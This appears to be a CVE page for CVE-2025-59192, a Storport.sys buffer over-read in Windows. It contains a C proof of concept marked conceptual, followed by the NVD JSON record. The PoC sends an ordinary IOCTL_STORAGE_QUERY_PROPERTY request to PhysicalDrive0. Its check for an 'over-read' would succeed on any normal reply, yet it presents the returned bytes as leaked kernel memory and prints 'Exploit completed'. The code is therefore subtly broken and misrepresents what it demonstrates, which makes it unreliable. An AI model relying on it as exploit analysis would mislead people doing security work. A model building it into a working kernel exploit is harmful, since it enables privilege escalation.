CVE-2025-59192

/* * CVE-2025-59192 - Storport.sys Buffer Over-Read PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the vulnerability type. * A real exploit would require kernel debugging and specific IOCTL codes. */ #include <windows.h> #include <stdio.h> #include <stdlib.h> // Open a handle to the Storport device HANDLE OpenStorportDevice() { // Storport devices are typically accessed via symbolic links // e.g., \\.\PhysicalDriveX or via storage device paths HANDLE hDevice = CreateFileA( "\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); return hDevice; } // Trigger buffer over-read via malformed IOCTL request BOOL TriggerBufferOverRead(HANDLE hDevice) { // Allocate a small input buffer char inputBuffer[16] = {0}; // Set output buffer size larger than expected (triggers over-read) DWORD outputBufferSize = 0x10000; // Intentionally oversized char* outputBuffer = (char*)malloc(outputBufferSize); if (!outputBuffer) { return FALSE; } DWORD bytesReturned = 0; // Send IOCTL with crafted buffer size to trigger over-read // The specific IOCTL code would need to match the vulnerable code path BOOL result = DeviceIoControl( hDevice, IOCTL_STORAGE_QUERY_PROPERTY, // Example IOCTL - actual code may differ inputBuffer, sizeof(inputBuffer), outputBuffer, outputBufferSize, // Oversized output buffer triggers over-read &bytesReturned, NULL ); // Check if more data was returned than expected (indicating over-read) if (bytesReturned > sizeof(inputBuffer)) { printf("[+] Buffer over-read triggered! Bytes returned: %d\n", bytesReturned); // Analyze leaked kernel memory for (DWORD i = 0; i < bytesReturned && i < outputBufferSize; i++) { printf("%02x ", (unsigned char)outputBuffer[i]); } printf("\n"); } free(outputBuffer); return result; } int main() { printf("[*] CVE-2025-59192 - Storport.sys Buffer Over-Read PoC\n"); HANDLE hDevice = OpenStorportDevice(); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open Storport device. Error: %d\n", GetLastError()); printf("[*] Note: This PoC requires administrator or specific privileges\n"); return 1; } printf("[+] Device handle obtained successfully\n"); if (TriggerBufferOverRead(hDevice)) { printf("[+] Exploit completed\n"); } else { printf("[-] Exploit failed\n"); } CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2025-59192", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:58.050", "lastModified": "2025-10-17T15:15:52.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer over-read in Storport.sys Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59192", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}